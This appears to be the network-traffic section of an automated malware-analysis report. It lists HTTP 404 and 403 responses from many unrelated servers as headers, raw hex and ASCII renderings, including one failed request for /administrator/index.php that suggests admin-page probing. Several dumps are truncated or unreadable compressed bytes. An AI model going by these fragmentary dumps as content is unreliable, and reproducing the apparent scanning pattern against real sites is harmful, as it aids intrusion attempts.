<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 94Content-Type: text/html; charset=iso-8859-1Data Raw: 46 6f 72 20 73 65 63 75 72 69 74 79 20 72 65 61 73 6f 6e 73 2c 20 74 68 69 73 20 55 52 4c 20 69 73 20 6f 6e 6c 79 20 61 63 63 65 73 73 69 62 6c 65 20 75 73 69 6e 67 20 6c 6f 63 61 6c 68 6f 73 74 20 28 31 32 37 2e 30 2e 30 2e 31 29 20 61 73 20 74 68 65 20 68 6f 73 74 6e 61 6d 65 2e Data Ascii: For security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-167.ec2.internalX-Request-Id: f953fd7d-07e5-4972-a064-412a9ffdaf9eData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-242.ec2.internalX-Request-Id: 279bbd8c-e9fb-452d-a555-9c5c62aa2151Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-17.ec2.internalX-Request-Id: d75c36b2-cac0-4124-ba0b-f91fc196e22dData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sun, 26 Nov 2023 05:59:23 GMTContent-Length: 0Connection: keep-alivex-backend: deny_backendStrict-Transport-Security: max-age=31536000; includeSubDomains
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheVary: accept-language,accept-charset,User-AgentAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Language: enData Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-167.ec2.internalX-Request-Id: 28c2f7ec-66a8-43c7-b694-011be95364ebData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://samson.pe/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:32 GMTserver: LiteSpeedData Raw: 32 32 63 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 5b 77 db 38 92 f0 b3 7d ce fc 07 84 39 b1 a5 6e de 25 f9 22 5b ea 71 d2 9e de ec a6 3b 99 38 d9 39 bb 49 4e 0e 44 42 12 12 92 60 03 a0 65 b5 5b 3f 66 1f f7 79 df f6 b5 ff d8 9e 02 78 13 4d c9 8e ed 9e ef cb 4c cb 24 50 a8 2a 14 aa 0a f7 e2 e9 93 90 05 72 99 12 34 97 71 34 de 3d 85 3f 28 c2 c9 6c 64 10 61 bd 39 37 20 8d e0 70 bc bb 73 1a 13 89 51 30 c7 5c 10 39 32 de bf fb 9b 75 64 94 e9 09 8e c9 c8 b8 a4 64 91 32 2e 0d 14 b0 44 92 44 8e 8c 05 0d e5 7c 14 92 4b 1a 10 4b bd 98 88 26 54 52 1c 59 22 c0 11 19 79 0a 4b 44 93 af 88 93 68 64 a4 9c 4d 69 44 0c 34 e7 64 3a 32 e6 52 a6 62 e8 38 b3 38 9d d9 8c cf 9c ab 69 e2 78 50 a8 e0 49 d1 de e7 6c c2 a4 d8 2f 29 ef 27 8c 26 21 b9 32 d1 94 45 11 5b ec 23 47 15 79 62 59 e8 dd 9c 0a 24 a8 24 88 0a c4 52 49 63 fa 1b 09 d1 82 ca 39 92 73 82 fe 83 61 21 d1 c5 f9 6b 94 46 d9 8c 26 e8 d2 f7 ec 01 b2 50 c1 cc 12 00 ec 80 c5 ce 82 f1 30 e5 44 08 47 83 0a 47 10 e6 20 cb 02 d1 48 2a 23 32 7e f3 c7 7f cd 68 82 51 c2 10 49 40 30 1c 87 18 59 e8 02 c7 82 25 e8 05 a4 b0 48 a0 37 84 ff f1 bf a7 8e 2e 54 54 2e e5 2c 25 5c 2e 47 06 9b 0d 23 06 12 ab 49 97 88 cf e7 17 06 d4 2c 6f 9f 35 70 85 a9 06 fd 4d 8c 6c c4 0a 72 fb 0c 32 af 61 6e ad 4a 8e 41 04 9c a6 12 81 9a 8d 0c 9c a6 11 0d b0 a4 2c 71 a2 f0 fb 2f 82 25 06 0a 22 2c c4 c8 50 42 b5 44 30 27 31 b6 66 1c a7 73 63 7c 6d fc 55 a9 d2 95 34 86 a5 2a 68 10 50 06 c3 34 fe aa 21 87 1f ae 8d bf 02 0d 63 68 fc 83 4c 2e a8 24 90 49 c3 7a 39 25 70 3b 25 ce d3 05 99 40 3d 0c d3 c8 78 d4 0a 62 98 86 aa e4 d0 68 af 9c 69 84 44 57 8d b2 c4 18 1a 86 69 a4 d9 24 a2 62 4e b8 31 bc de 4c 9a f1 19 4e e8 6f 4a 06 c6 ca 34 52 06 96 42 71 74 16 80 58 8c 7a 4d 2e 08 e6 c1 3c cf 30 0d 89 f9 8c 48 85 3d af ea 79 22 f9 f2 0d a3 89 d4 55 79 47 e2 34 c2 12 a4 50 e8 aa 28 6b fd 83 18 5d 0b 85 f1 b3 24 3c fe 2c 24 a7 c9 6c 05 4c fc 9a 11 be b4 68 92 66 20 68 4e 7e cd 28 27 21 52 a6 75 b3 88 b1 fa 64 1a 34 79 85 93 59 86 67 40 4c 7b 8b 95 59 35 c2 eb 7a 35 b7 b4 c4 9a 38 6e 95 f9 96 d6 8a d8 8c d5 45 f3 32 c6 33 f2 7a f2 85 04 20 9b 16 6e b7 30 e5 68 15 73 00 a7 43 01 91 b3 45 55 16 a9 95 fb 3b 27 4b 23 86 43 e1 f8 ae ef 3b ee 81 42 60 15 2d 90 80 be e6 90 ef 37 a8 dd 37 e1 52 fe d4 18 1e bb a6 31 27 74 36 97 fa 39 c0 a9 d6 a4 0d aa bb 32 0d 55 a7 ad 6a da 26 82 95 69 08 1c 93 33 61 0c 3f 94 fa b5 58 2c ec 25 cb 64 36 21 ca 23 66 82 70 e7 e2 ec e7 8b d7 bf fc f4 f6 f5 fb 37 c6 a7 d5 a7 d5 a9 a3 6d 05 1c 15 78 60 e7 86 8f b5 95 cf dc dd 3d 2d 7b 82 fd 30 11 56 ca c9 94 c8 60 be af bb 83 7d c7 01 7a 33 c6 66 11 91
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:03 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 221Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/index.php was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Sun, 26 Nov 2023 05:59:32 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheContent-Length: 262Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 26 6e 62 73 70 3b 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 27 41 72 69 61 6c 27 20 73 69 7a 65 3d 27 33 27 3e 45 72 72 6f 20 34 30 33 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 3c 70 20 61 6c 69 67 6e 3d 27 63 65 6e 74 65 72 27 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 27 4d 53 20 53 61 6e 73 20 53 65 72 69 66 27 20 73 69 7a 65 3d 27 32 27 3e 41 63 65 73 73 6f 20 6e 65 67 61 64 6f 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e Data Ascii: <p align='center'> </p><p align='center'> </p><p align='center'> </p><p align='center'> </p><p align='center'><b><font face='Arial' size='3'>Erro 403</font></b></p><p align='center'><font face='MS Sans Serif' size='2'>Acesso negado</font></p>
